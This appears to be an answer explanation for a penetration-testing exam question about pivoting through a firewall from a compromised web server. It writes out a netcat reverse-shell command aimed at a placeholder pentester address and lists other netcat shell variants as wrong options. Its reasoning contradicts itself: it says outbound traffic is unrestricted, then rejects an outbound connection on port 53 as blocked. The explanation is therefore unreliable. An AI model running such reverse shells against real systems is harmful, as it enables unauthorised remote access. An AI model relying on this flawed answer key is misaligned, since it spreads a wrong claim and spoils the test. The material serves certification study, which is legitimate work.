The tester needs to pivot from the compromised web server while bypassing firewall restrictions that allow:
Inbound traffic only on TCP 443 (HTTPS) and TCP 53 (DNS)
Unrestricted outbound traffic
Reverse shell using TCP 443 (Option D):
This command initiates an outbound connection to the pentester's machine on port 443, which is allowed by the firewall.
Example:
/bin/sh -c 'nc <pentester_ip> 443 -e /bin/sh'
The pentester listens on TCP 443 and receives the shell from the target.
Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "Pivoting and Network Tunneling Techniques" Incorrect options:
Option A (nc -e /bin/sh -lp 53): This listens on TCP 53, but does not establish an outbound connection.
Option B (nc -l -p 443): Listens locally but does not connect back to the attacker.
Option C (nc -e /bin/sh <pentester_ip> 53): TCP 53 is inbound only, meaning this connection will be blocked.